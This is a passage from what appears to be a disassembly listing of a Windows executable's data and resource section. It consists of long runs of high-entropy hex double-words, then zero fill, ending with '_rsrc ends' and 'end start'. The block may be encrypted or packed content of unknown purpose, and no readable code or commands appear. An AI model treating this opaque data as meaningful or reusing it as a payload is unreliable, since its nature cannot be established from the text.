0DCB1A6BCh, 0A9C6299Fh, 180627FEh, 58F2CE4Fh, 1BB312E2h dd 0D467B91Fh, 9138401Dh, 38FFC16Bh, 0E06FACBEh, 0A3C1F1A4h dd 92B42A4Dh, 36EAC67Bh, 30EF7C3Eh, 8B611523h, 0B4C1E97Eh dd 27EE1507h, 27A55DC2h, 3091221Ch, 2F3292FFh, 2D1ED173h dd 0DCDF8447h, 0D2C3FBE2h, 44AFAA8Fh, 8437DEDFh, 276F123Fh dd 0D011DA24h, 4AD8E2FFh, 30B7ADFAh, 0FFEFE2BFh, 0A091AA8Ch dd 0DC3C4A7Fh, 3C171B68h, 0D80AB22Fh, 0C26373EAh, 33721AEFh dd 0D851E6E4h, 0B05C0BBFh, 684FC6DDh, 84AFEA7Eh, 33D2670Eh dd 0EC6FD2AEh, 0BDE7D89Fh, 57A619D1h, 78D1AAD4h, 3F1D25BFh dd 0EF4F6245h, 24B091FBh, 486941DFh, 79EB013Fh, 3BCF269Fh dd 0C7F66BDh, 0F78E8CA7h, 1E7347BEh, 0D652F62Fh, 44B7B44Fh dd 0E1A35E58h, 0A085ABBFh, 0F16A069Eh, 1530C286h, 77EE0D00h dd 0C078E382h, 0C54F62DBh, 1C9A03E3h, 9769775Eh, 0CC6F89B2h dd 8508C9Fh, 3321AD91h, 688F79E4h, 0C67238BFh, 4B54EB1Fh dd 61A5AC5h, 8912A866h, 5AE1FAF0h, 0F5D2C52Ah, 0D43FFC93h dd 504FF3CCh, 0C06BB126h, 7F4FD61Fh, 0B4F1A62Ch, 8DF70EDFh dd 0F9691C1h, 30912224h, 0E0AC69FFh, 0AB8F1E1Dh, 5FA226BBh dd 3B2278DFh, 0E7B74082h, 98585EEDh, 0D08B536Eh, 0C4DB2FA3h dd 0DF4B8628h, 0C9B8999Fh, 279EF1A6h, 315DCA6Ch, 26CF2F6h dd 992572B6h, 0ED5A6B46h, 1ED1AEAh, 29115096h, 69B5C20Bh dd 0E4C8F5E6h, 0D13D6A8Eh, 0CC184736h, 390512CEh, 11961886h dd 0A1CDBA40h, 3966CAD6h, 57956280h, 0CCB19A4Ch, 81A8311Fh dd 72466972h, 0B103005Eh, 7B9610D2h, 0C4A9295Eh, 2978C2B7h dd 9D178DBAh, 5CDFA8A8h, 78206E81h, 686F0C7Dh, 0DE3160DEh dd 746D3CD6h, 0EF84B4B7h, 8CF17D52h, 0CD39FFE2h, 71D00A07h dd 3ACFD54Ah, 0D4BA1D7Eh, 0A194002Fh, 666F2219h, 18294DF6h dd 5EAF4437h, 0F8A7435Eh, 11F0AAD0h, 0D197758Ah, 88AF6A7Fh dd 691C92ADh, 4729F09Fh, 0E8D4B131h, 542F3AFFh, 0CB0E50C6h dd 655F1734h, 0A76AD62Fh, 5B72C46Ah, 0C828C264h, 0C6F723Fh dd 64B597h, 0AA3A3A40h, 98C890E4h, 0E2BC43BFh, 0F5C88381h dd 0C97D9DA6h, 78FF175Dh, 126DA73Dh, 7BB4379Ch, 153460FBh dd 20FA1444h, 0EB768163h, 2963D996h, 0F471F60Ch, 6F5229DFh dd 5C5836BCh, 80CFE69Fh, 0F4BC2907h, 0C0390A63h, 8BB62143h dd 129F4B98h, 9FDEA8Fh, 0B8FF575Dh, 0EB6BE740h, 0FBD13170h dd 8B7265BFh, 788872E4h, 0BCEF22BFh, 6A760A17h, 3488E8FCh dd 53EFFFDFh, 0D1EAFF59h, 487F9101h, 0A2ACE465h, 0E98F9E78h dd 43ECBD5Fh, 0EB557F83h, 1F0DEA6Eh, 0DC677046h, 0C76F97B2h dd 29FD4B15h, 5C2BFAEFh, 63A70E20h, 906C287Eh, 294FA602h dd 10FFEFE6h, 20F51E86h, 678D3256h, 4297FF6h, 68380237h dd 6C1CCD3Ah, 94CFC30Dh, 10C83B01h, 71A1599h, 12792E8Fh dd 5C478A2Ch, 20FEC52Eh, 0E44EAE7Ch, 0D20F745Fh, 0C0C6B5B7h dd 7E928AEDh, 52725E45h, 26D63225h, 0FAB806F5h, 0CECBDA55h dd 0A236AE45h, 389E82A5h, 8C2AED68h, 3B9FE0A2h, 0F93F6EA6h dd 0C05F1E46h, 0A3B26E16h, 0D0B8CA24h, 144F7AFFh, 9D155E5Fh dd 0F9EBE6BDh, 15C954DAh, 0E49F6373h, 648F2901h, 0FC6E473Ch dd 0F0E669Fh, 5657C43Fh dd 0BF0E4D3Ah, 2CF8063Ch, 500FB61Fh, 0AA47507Fh, 4C111310h dd 9C0AF858h, 2E549087h, 942FAA18h, 60F9F17Fh, 2BF6C1E4h dd 75A6DE8Fh, 249FA3FBh, 580F3EDFh, 12DFF44Ch, 89BB8B15h dd 4F4D5AEFh, 7D948ADFh, 0DCEF12BAh, 0EA8F355Ah, 5444B7BEh dd 500F6E18h, 1BD6B134h, 29534BB2h, 942FFAEFh, 0CB433E5Fh dd 7349826Fh, 20581AA4h, 64AFCA7Fh, 2016F2E7h, 0CC03BDECh dd 85C6B536h, 343FB37Bh, 698FCE5Eh, 9CBF86B2h, 0E89F361Fh dd 713815E5h, 38FF607Bh, 5B551E97h, 0FAE7762Ah, 34E4C3A6h dd 0E08F7E1Dh, 0ABF64064h, 39D35BD2h, 0A4B20A8Fh, 0C2633EDFh dd 35EBF7CAh, 40CFA68Fh, 6E5BDBFFh, 778D3CC7h, 4A5AEA62h dd 299FB50Ah, 0C93A55E5h, 78FFA07Bh, 648A61B6h, 2233C318h dd 0CCB87AEFh, 0AC3666FBh, 0AF4AB8A2h, 0C7EABC5Fh, 0F488CEFCh dd 180F81DFh, 4282463Fh, 70F86824h, 0AEDB9AFFh, 0B70CF847h dd 8A1A2AE2h, 0F797F58Ah, 0DFCD739Bh, 53355E0Eh, 15EBD78Ah dd 20D2868Fh, 1E1BBAFFh, 91117371h, 0B16F22CFh, 0FDD07E15h dd 16576972h, 0B0EE3D19h, 7B960F3Dh, 0B427062Fh, 17E6B916h dd 0F747F478h, 0ED8AE8CCh, 14C481B6h, 7BAF1A78h, 0FB51D52Dh dd 0A16F923Fh, 0EC9B6E93h, 0A3DF5952h, 97C91C07h, 6B3788A2h dd 0A1EA3C34h, 0DFF65526h, 88D1A264h, 45271D3Fh, 85C62257h dd 343FB37Bh, 688FCE5Eh, 21BEDA6Bh, 0D03F2FA3h, 0AAF6A7Fh dd 0BDA6CA53h, 6C7FABBBh, 0A1CF069Fh, 1697444Ch, 0E04E6D7Ch dd 0ABF63F76h, 39D35BD2h, 0A4AF0A8Fh, 0D26342DFh, 0FB94DED7h dd 0CDB04E6Ah, 0F9DE3912h, 0A89F47E3h, 0DCEF42BBh, 86E78D93h dd 0AC8689B4h, 0B02D1E08h, 6C676AD6h, 282A4A33h, 0BB1AD2CCh dd 154E96C6h, 17E81A2h, 0B03F0FA3h, 0E4AF4A87h, 0A58F7014h dd 4C7F8BBDh, 18281A9Fh, 0E366771Ch, 1A777F7h, 0A8C8CF8h dd 904FC648h, 0E9B9ED1Bh, 0B8FF5759h, 0D9AA7AD6h, 713F452Ah dd 0D6AC44A5h, 228FFE38h, 2BF4FE17h, 75E565CAh, 249FA3F1h dd 5CCFC26Ch, 848F337Fh, 1BB5B32Fh, 0CB995B4Fh, 0F78CAEC7h dd 80F3AB62h, 9BF16E81h, 482C0158h, 0E80F6E18h, 0A06F923Fh dd 0BA0836A2h, 0BE9C92D9h, 63350F5Dh, 6B73FE97h, 8A27064Ah dd 0DD1A8AAEh, 88D1865Ch, 50EC493Fh, 0E0CF76A8h, 0E92F9AFFh dd 16F72552h, 66B6A1E3h, 789F8596h, 89B93466h, 38FFD75Bh dd 6539CB8h, 2FFBCE37h, 55E720D2h, 8C14659Fh, 0FCEF92E8h dd 44FD61Fh, 7C6B8A7Eh, 0E16BE3E5h, 0A70D722Fh, 824B2318h dd 0AB9ADAEFh, 98C892E4h, 0DCEF42BFh, 60482B5Fh, 702CAC4Fh dd 120FEE18h, 0D5EB970Ah, 0E04F468Fh, 0F9C7AFFh, 0CD9966AFh dd 7CDFBB24h, 565C4175h, 9BA75B37h, 8280264h, 4C70B23Fh dd 0D0D11A9Fh, 618C24E8h, 0A88F5E78h, 0C1E985DBh, 503FAF0Ch dd 0EC8D9599h, 3DA68E60h, 0EC7F2BBBh, 20CF889Fh, 8CDBBC4Ch dd 91CC9365h, 578D22CFh, 0B2E7D398h, 0B4078A8Fh, 0F30FBEC8h dd 0B5EB77CAh, 0C0C7268Fh, 0A55B5AFFh, 0F78BAEC7h, 0E06C5962h dd 904F0648h, 0F9AF2A7Bh, 0F2670EE6h, 3C9830BCh, 9D6A309Fh dd 7DAB7F4Ah, 0C08F2E4Fh, 0DFC62BFh, 50D20EC1h, 4D456F85h dd 33F5FEEFh, 0A7C9720Eh, 0D9778C94h, 0E28CA4F7h, 288FDE78h dd 41E905DBh, 0D03F2F09h, 89FE1599h, 38FFD763h, 6C6FC23Fh dd 60507EC1h, 18AF3D4Bh, 56F47867h, 22EF92E8h, 0F5E5E576h dd 0A49F23FDh, 23BEA646h, 919E91C2h, 40DF9F23h, 342FDAFFh dd 0D83F1C33h, 5B3C7BDh, 28A9762Fh, 0F386850Ch, 0F12DAD6Ch dd 0BC3182B4h, 6454FD9Fh, 142F6A18h, 9C0FAE5Fh, 168732B3h dd 4DC9F76h, 7FAF3A3Dh, 6370E6E4h, 0A607D142h, 17BEA5E6h dd 0C4289E7Ch, 0E98F4E5Fh, 0CCEA97BFh, 0DCD4C0DFh, 0DEAFDA78h dd 40352DC6h, 916992BEh, 20DF7FABh, 55DF6559h, 0C14E5C5h dd 0BCEF12E8h, 854F581Fh, 0A82C61A2h, 580FCED8h, 16FF63Fh dd 0BA0F9685h, 428387Ch, 0AB34185Fh, 9DEFB2A8h, 0D87506FFh dd 345AAB19h, 8817C9DFh, 9AEC9C7Fh, 0BACFD668h, 7DAB7F4Ah dd 0C88F2E4Fh, 0CFC62B7h, 48D20EC1h, 4D446F85h, 33F5FEEFh dd 0C40A338Fh, 85C9AE2Fh, 343FB314h, 32EEB605h, 21BEA1E2h dd 0D03F2FA3h, 49F6A7Fh, 5D249390h, 54F22A19h, 697C6B95h dd 2F0D3AEFh, 21F92E2Eh, 4CB11264h, 0F4D40D1Fh, 0A4AFFAB8h dd 0AD0F5EDFh, 0E71EC322h, 3977CC86h, 218CE4F7h, 688F1E78h dd 81E9455Bh, 103F6F8Ch, 0B1D85519h, 78FFA06Fh, 51E953B5h dd 0E0DF880Fh, 0DCDF25D9h, 514B335Dh, 0D449E2CFh, 0BF1E50C8h dd 0CD2BCFEAh, 18127EEFh, 689BB33Fh, 49536BF2h, 0B42F1AEFh dd 884525Fh, 456B07EAh, 504FB62Fh, 7E7CED7Fh, 7A87CC7h dd 0D6AA7A82h, 20E7452Ah, 6CA619D5h, 574EE820h, 0E56BA72Ah dd 0F04F562Fh, 1CBB927Fh, 0B0B9074Fh, 7B960C14h, 8953AB72h dd 0F42F5AEFh, 42039E5Fh, 0E109C92Fh, 903FEF8Bh, 0C1A90AC0h dd 0F8F36668h, 5553F73Dh, 48FC68Fh, 98EB7AFEh, 91CE16C6h dd 0DD3F01A2h, 3926BE75h, 0CC4DA9F2h, 3D195E9Ah, 0CC7F0BC3h dd 0A6A7D181h, 6B66F998h, 58C852E4h, 9CEFE2BFh, 4B13EA1Fh dd 7C34F53Ah, 530FAE1Dh, 58B05B80h, 25C95EEFh, 0D43F5353h dd 0D10E56C5h, 0C1FE4122h, 703FCFA3h, 0A4EF0A7Fh, 60754A93h dd 9169B56Fh, 40DF9FEBh, 0DC4DE426h, 4D99EEBAh, 0DCDF1BE3h dd 86E7E181h, 0FB8689B8h, 68E86264h, 0AC6F153Fh, 5B1E7AA0h dd 74AC0542h, 638FBE9Dh, 0E8276B77h, 35265F0Eh, 0E49F63FBh dd 188F7EDFh, 0D1E4C0CCh, 80DFDF6Bh, 34EF2285h, 0B0825138h dd 0E0A48634h, 914FC643h, 0FF3FF21Fh, 9E158186h, 522F23C7h dd 9F37ACF6h, 54E7A27Fh, 6991EE5Fh, 57978D99h, 0F6249FA4h dd 0E48022D9h, 9B9F6981h, 754A1A95h, 4546E56Ah, 0F43F737Bh dd 0A88F8E5Fh, 9B6ABCEBh, 52A37B96h, 7CDA2A8Fh, 502B2668h dd 1BD6AB82h, 0F82989EFh, 0C32653FCh, 0D11FB3ECh, 817E62CFh dd 303F8FA3h, 44AFCA7Fh, 0B3C60414h, 0D50AEA47h, 0DBE7B916h dd 0AF7FC597h, 585176ECh, 145C03BFh, 0D14F46DDh, 0E86BF578h dd 106C27E3h, 0E76FC22Fh, 909192ECh, 4CAC65FFh, 0DF8F7E1Dh dd 4CB8263Ch, 704F961Fh, 5BB15E7Fh, 0DCD1E937h, 8F3E283Fh dd 30916A2Ch, 0F836DAFFh, 0A88F0F98h, 0DCEF4F57h, 0C294411Fh dd 37F3EF41h, 34D30C0Dh, 41D61273h, 0E0DF442Dh, 0D607FF88h dd 0C362AE4Fh, 0C4F2BE07h, 2B67C94Ah, 0EDD75E3Eh, 936EFD94h dd 5CB10AACh, 0C2D2419Fh, 0ACA303h, 0EB8F5E9Dh, 0A1688A7Dh dd 503F787Fh, 33D73D06h, 0B80F9E8Eh, 0E0617A3Fh, 6D4A452Ah dd 543F7C97h, 5C35D611h, 516AC122h, 0F03F1887h, 27B7D406h dd 963ACAA5h, 8B6C1BBEh, 0C0D04617h, 0BEAB69FFh, 2B8F8E60h dd 6CB11E2Ch, 18A4F91Fh, 20AF1A3Dh, 7D1EC61Bh, 2C6F92DDh dd 3BD30C1Ch, 0A471D27Ch, 0F895315Fh, 6B7BC597h, 78DC194Ah dd 64AFBA3Dh, 5F2A0914h, 0D7F24133h, 9BCF66A0h, 9CBCB303h dd 678FDE9Dh, 9CF00F3Ch, 58D4391Fh, 2AAF5ABDh, 5DAED660h dd 6C535732h, 0E04A069Fh, 0C8F265FDh, 0DCB5560Fh, 0E9B84122h dd 703F9887h, 0A44B8F82h, 5D123EDFh, 0C7F3483h, 82B72B9Eh dd 74BADAEFh, 0A79B5586h, 0DCEF0F3Dh, 896711Fh, 446B2D82h dd 0B892DEDFh, 0C02E153Dh, 22F7CB9Eh, 0E4817AEFh, 8AE763FAh dd 1176E2CFh, 0B03F140Dh, 0E3EFCF55h, 180F3564h, 4CF3DB3Fh dd 0FFBE69Fh, 0B4BB9F02h dd 0F60F4E5Fh, 976C91CCh, 0CB4FB61Fh, 0C7DAEBB9h, 0DB7EE13h dd 1556718Eh, 1091FEECh, 571E8FFFh, 78D1AAE4h, 0A46C25BFh dd 694F665Dh, 34F16EFCh, 630F49DFh, 9C312EBCh, 8BC7589Fh dd 471BA7Ch, 35F8005Fh, 4CEFC2BFh, 7FE7ED8Dh, 41AF2A7Fh dd 399ADAA9h, 6E729456h, 454C18Fh, 492FEABDh, 0B8D3B16Bh dd 0C06633A2h, 4BB0B203h, 0E9368D96h, 98FFC077h, 34DCBDDFh dd 98CF765Dh, 6366EE6Eh, 688F77C0h, 9A3C82BFh, 624BFD36h dd 0FC6E8588h, 87EB20EAh, 6BA8F182h, 2FFD7824h, 0B863C5D2h dd 211315E0h, 0ABF6A2BFh, 32AA05CAh, 0C48B5400h, 96EF3EDFh dd 8EAB20Eh, 4542DC3h, 0ED2FCABDh, 98D1CEE4h, 5478CFBFh dd 134F7638h, 54F102FCh, 1D74C4DFh, 0AFADFD71h, 22AA5A5Dh dd 3F6DC003h, 7B107507h, 81EFE2BFh, 294F161Fh, 32662639h dd 8D6E559Eh, 4C7F90C1h, 7FDE8EE0h, 0B430147Ch, 42639E5Fh dd 8BB6AC97h, 401D14B4h, 0D3EF6F7Fh, 0B914A6EAh, 6847523Fh dd 0B8FE4543h, 542FBAF0h, 0CEC3530Eh, 8F8C4E98h, 8224F944h dd 65C8DEE8h, 14A43DDFh, 7B6FE27Dh, 0B0FD1814h, 0C8ACE3FFh dd 8F9E1Dh, 5CEFC2C8h, 31839B6Eh, 0FBF68F26h, 0CBA143C9h dd 7C5F3B97h, 7905EF2Dh, 398EDFE3h, 0F5B7855Fh, 54760197h dd 304F962Eh, 89612F4Eh, 6AFEF20Eh, 25A1E2DCh, 252B8F71h dd 0B2F7F1Ah, 37F70D47h, 9CE1AAE2h, 7502361Fh, 1F92CBBDh dd 0A3F8E54h, 0C8C86818h, 0A0742DC4h, 0EC51A22Ah, 0F0376D7Ah dd 0FEFA2BFh, 11279944h, 0E2CC71E1h, 0BE78328Ah, 65212248h dd 65ABCFF1h, 4B2FBF9Ah, 77760DC7h, 599B7262h, 1C06A4h dd 940B147Fh, 0C7C6DFC5h, 0BC953CACh, 0C4BBCF9Fh, 24DEF52h dd 879AE4Fh, 3D273F34h, 607F162Fh, 74FC294Fh, 0F00F8EDCh dd 4C6BB240h, 0B7D01053h, 76FB8F92h, 42634E4Fh, 0B1B6B9BBh dd 503F78F3h, 339BAEFEh, 0A851EA94h, 4EFC713Fh, 4FCF9669h dd 0CDC47BEh, 0BE8FFE20h, 0EA8D9722h, 0F8D2562Fh, 8F2B9972h dd 0D10FBEDFh, 9C31AABCh, 0F6CF509Fh, 0E291CF12h, 0E8148E4Fh dd 5C8B46B2h, 0D02AF61Fh, 0C7195A4Fh, 0D01048AFh, 0EC6F923Fh dd 0A2648551h, 172FEA11h, 4C9E2DF7h, 0FCEF68BAh, 0F27B1B98h dd 0E134CA8Fh, 98FFC0FFh, 0E87A7B4h, 3220668Fh, 63FF9A25h dd 58CD3CD4h, 0BB785BFh, 0D584BA1Ah, 4996A7Fh, 0FA4B53DAh dd 156D22Fh, 0A0DF04B5h, 0D3A6927Eh, 8942CE3h, 2C6C2BBFh dd 434FE65Dh, 0F5720D48h, 0DC790FAFh, 58DC9170h, 0CFCFB6DDh dd 8425A06Ch, 0A74F935Fh, 0DCECBC3Bh, 8908691Fh, 54F1FEFCh dd 29C0AFDFh, 0AB6F1197h, 557E969Fh, 143F9881h, 0CC9E6EE4h dd 7CEFE70Eh, 72979B98h, 4CF24A8Fh, 180F7086h, 43577DB6h dd 70F86A24h, 0B42F1AFFh, 0EB95C37Fh, 2CDFAA3Ch, 5381A91Fh dd 3B00C140h, 3C94A7C0h, 946F42FDh, 20CF6F1Ah, 57638586h dd 789F56E4h, 0BF21F5BFh, 7A08DE0h, 502C1360h, 9B0FCE9Dh dd 922A4932h, 3D04C968h, 6B3652AEh, 0D892A21Eh, 7430EDF8h dd 5AD0461Eh, 0E2188152h, 7B0C5258h, 9E709E85h, 2C0A51BFh dd 973BBC86h, 0C1C3E9Dh, 457E01F7h, 0B55AD7FEh, 649F0C6Fh dd 0BCC3899Eh, 4B2F052Fh, 0CFDE1Dh, 73BADDFFh, 0F51CD946h dd 9CDF4377h, 0A37EC18Bh, 25C31648h, 2EBA44Dh, 8C83D40Ah dd 0B49B02F5h, 885556E3h, 5D8FAA9Ch, 0B7284517h, 1814D320h dd 9FBB0ABCh, 8A5211DCh, 3FEC813Fh, 0BB3E656Ah, 2D7EF7FEh dd 2C9E5129h, 4B36E199h, 0C5924D4Ch, 4F2BB941h, 852E5D5Ah dd 0DEA2D56Ah, 6FDFCA9Ah, 0E464D952h, 475E028Eh, 0EB76E73Bh dd 0C8FA094Ah, 93C628A4h, 62778E14h, 2416D143h, 0FBEA4C0h dd 0E2539E02h, 9AC24D3Ah, 1CEF78D7h, 5FF2DE1Fh, 8417C932h dd 650F1EDFh, 20827FC0h, 0AAE8868Fh, 0F82FBAFEh, 1D1A207Ah dd 0BCDF64A7h, 9671DF43h, 6EF4A800h, 5BF243EAh, 0DAEAF23Fh dd 0E61D29ABh, 0B97F7580h, 2B62136Ah, 1F3EC2BFh, 902FF631h dd 8A2C397Fh, 4E0F5EDEh, 2B714E7Eh, 60D24223h, 8C7285FFh dd 68EFCE3Ch, 9A6B715Fh, 0FD4F961Eh, 448FEA9Fh, 9BB282EAh dd 47EA323Fh, 0CF66D7h, 4C00909Eh, 370EBDE7h, 5E738FBEh dd 0E52362Fh, 46FCBFEh, 38537F5Eh, 5B554D97h, 0AA51152Ah dd 572F3AFEh, 0F8D12EC4h, 0FE6AA2BFh, 60096117h, 0A8C2CBA6h dd 0DDFA7ECEh, 46E8BA3Eh, 0C0542F8Fh, 772FCABDh, 0A8471A25h dd 0ADEF43BFh, 1FF5F4F7h, 0C61CBAB2h, 90FEE18h, 2F1CE25Fh dd 0FACF5668h, 0DCF8D81Fh, 0ECB7C277h, 1768199h, 0F2C3256Dh dd 79802CCEh, 18FFB763h, 0D11ED756h, 80DFDF23h, 0B52F1AFFh dd 6D0670B3h, 1CDF5B3Bh, 504FB61Eh, 0E930F6ACh, 0B8FF5763h dd 0D7567182h, 9D509036h, 543FD37Bh, 808FEE5Fh, 0BCEF2897h dd 0F6272F1Fh, 6CAF8A7Fh, 0A7F59407h, 0F8EC7CC2h, 46CF36A8h dd 0DD63847Bh, 0AD178E4Fh, 5CDF9BE3h, 15E616FDh, 0C49F43FBh dd 0F80F5EE7h, 0D9EF9B8Ch, 60DFBF29h, 0CBECCE00h, 0B888B2E4h dd 0FCEF62BFh, 0B03A4A17h, 74882634h, 28E303DFh, 0F5948FBFh dd 14D4668Fh, 0E2A41A5Ah, 6D8FDE78h, 21BE806Bh, 0D03F2FA3h dd 14AF6A7Fh, 0C58FA753h, 6C7FAB03h, 23483D9Dh, 0E4F17E9Ch dd 0AE376E5Fh, 94F6412Dh, 7F9E135Eh, 0A4B15B67h, 0A48CC9DFh dd 0F6F627Dh, 3091260Ch, 0A08A42FFh, 2C9E0DBAh, 0DCEF4410h dd 0D257EB96h, 923AAA8Fh, 0D04DE11Bh, 9BD62F63h, 0E2BAC89Ah dd 0CEB07AFFh, 488F0E43h, 4E756D9Fh, 0A49919F1h, 9B9FA47Eh dd 8280264h, 4C6FB23Fh, 0F9E31BBFh, 0C4F16254h, 5844DB5Fh dd 97EF72A8h, 403F5E9Ch, 0DB4BBD7Fh, 0B8190298h, 0EC1CDF3Fh dd 0B3CF968Fh, 772F4B9Ch, 5FF3E15Dh, 0CCB8A63Ch, 0F04F561Fh dd 822B999Fh, 0A70FBEDFh, 5D87DA4Eh, 3B3EE57Ch, 471F26Ch dd 2761135Fh, 5CEF3A3Bh, 18A4811Fh, 3FAF1A3Dh, 0B2906EA5h dd 2C6F325Bh, 5809B1BFh, 0CD62FCCEh, 0D3A3A05Eh, 0CDF8A34h dd 0C8CC211Fh, 96AFBA8Fh, 0BC2B8931h, 0DC8797BEh, 83CF668Fh dd 342F825Ah, 0B21ACE5Fh, 942903B7h, 0E7D66D1Eh, 4633EF06h dd 0BDA69EEFh, 6C7FABBBh, 0A0CF06DFh, 0DC9E3C4Bh, 219BE05Eh dd 803C2BEFh, 0EB4FE65Dh, 94B032EEh, 0E193C312h, 0C2F722Fh dd 42C3A69Fh, 8C80D20Ah, 778E0A86h, 0DFE3ED08h, 0A22A5E8Eh dd 0F7DDDB83h, 0F5C8BD83h, 0BC9882CCh, 983CCF9Fh, 472F6ABDh dd 476D0DC3h, 36454F0h, 0B04F170Ah, 0CD31BFB5h, 1EE47EEFh dd 0A297E4D8h, 0F935F8B3h, 9B57832Fh, 120E4D15h, 1FE3CC36h dd 0D566C6D5h, 849F03FBh, 0D80F1EDFh, 616C13B4h, 0E44C0F8Eh dd 572FAA3Dh, 789F56E4h, 944EA5BFh, 0F04F561Fh, 9D97CDA6h dd 580F9162h, 0CCEC093Fh, 0C1CF36AAh, 0A82F5AFFh, 20D25562h dd 0FC8F221Fh, 59D37B12h, 0C4AF2A8Fh, 0FFA36EDFh, 233ABA6Dh dd 0DB1985AAh, 0A4713E84h, 4194115Fh, 0F98A4AF6h, 0F20F2396h dd 66D2CA8Fh, 539A0186h, 50EC4917h, 3CF76A8h, 0E82F9AFFh dd 20145953h, 9FEFF27Dh, 0C011A69Ch, 602C6D7Fh, 390FAE1Dh dd 7CA95D37h, 0E27B8B16h, 8E683AEFh, 8192E167h, 0FEF0AA75h dd 1832592Fh, 282C957Fh, 0B00F4E9Dh, 0C6F5BAFh, 69C7E8A0h dd 0EE7F9D00h, 98C890D4h, 606CD9BFh, 104F8648h, 78CFAA7Fh dd 509CE1E1h, 626F022Fh, 6454FD9Fh, 142F6A18h, 9D8FB05Fh dd 0F3AD80CBh, 0A0589AA4h, 0E8AF4A7Fh, 921573DFh, 5C58358Ch dd 4549D9Fh, 0B42F0AD8h dd 3D8F4E9Fh, 1EEE0CB6h, 8651205Dh, 7D1AC11Dh, 0FAE12565h dd 0CE3D54D5h, 44217932h, 0D30BDC86h, 1512465Dh, 0BCDF6483h dd 3FD3651Fh, 0D3466975h, 4851B654h, 3EFC113Fh, 4FCF36A9h dd 4712E4Ch, 4E248D5Fh, 0D9EFB2A1h, 8091969Ch, 0DC1CB77Fh dd 0A90F6E9Dh, 1B6F3C6Dh, 501122F4h, 0FABC59FFh, 978F3E39h dd 0C319E6Ch, 16C4D51Fh, 0E1AFBAB1h, 88D0C654h, 14DC513Fh dd 36CF765Dh, 22910F92h, 0D12CE4Fh, 9CDF4483h, 0D067791Fh dd 51AF6A7Fh, 95909F45h, 6C7FAAB2h, 61CEB6C7h, 0E43CBA7Ch dd 0CB4FF35Fh, 0ACF66A3Eh, 0F0D4171Ah, 67AFFA8Ch, 0F20F4EDCh dd 7273073Fh, 3CF3E220h, 875CABA3h, 7753F63Fh, 0E1BCE162h dd 1FD9EBF7h, 0F36192B2h, 96B05D5Ah, 257FF02h, 0C5375873h dd 0B42F7AFFh, 17CE5307h, 0F7B8F7A2h, 2D5FFAE3h, 0F470922Ch dd 10BF09DFh, 525933D9h, 0B6F4199Dh, 0E32F1A27h, 42D3D95Fh dd 8B1FB4BFh, 401DE8B4h, 7CEB6D7Fh, 0C74B5C60h, 0EFDC0E42h dd 0B8D34C1Eh, 83A6145Dh, 574E6D87h, 64324322h, 0F04F5653h dd 3071B66h, 0B00FBEDFh, 8C6FF224h, 8CF065Dh, 0F42F5ACFh dd 288F9EC7h, 5C0B84BFh, 90507BC7h, 0C4B2127Fh, 14515EDFh dd 503B1F3Fh, 0E3AD939Bh, 9DA3FA57h, 0C88F167Fh, 0D06A62BFh dd 0AB7C8603h, 8AD44B95h, 0F00F0ED8h, 0BB16525Ah, 0D32880h dd 39309CFEh, 0AC5CD462h, 1C37DC9Eh, 4CEEBD4h, 0DB66DA1Fh dd 67h dup(0) dd 0A80h dup(?) db 3 dup(?) byte_430003 db ? ; DATA XREF: .rsrc:0040F1F0o dd 0A7Fh dup(?) _rsrc ends end start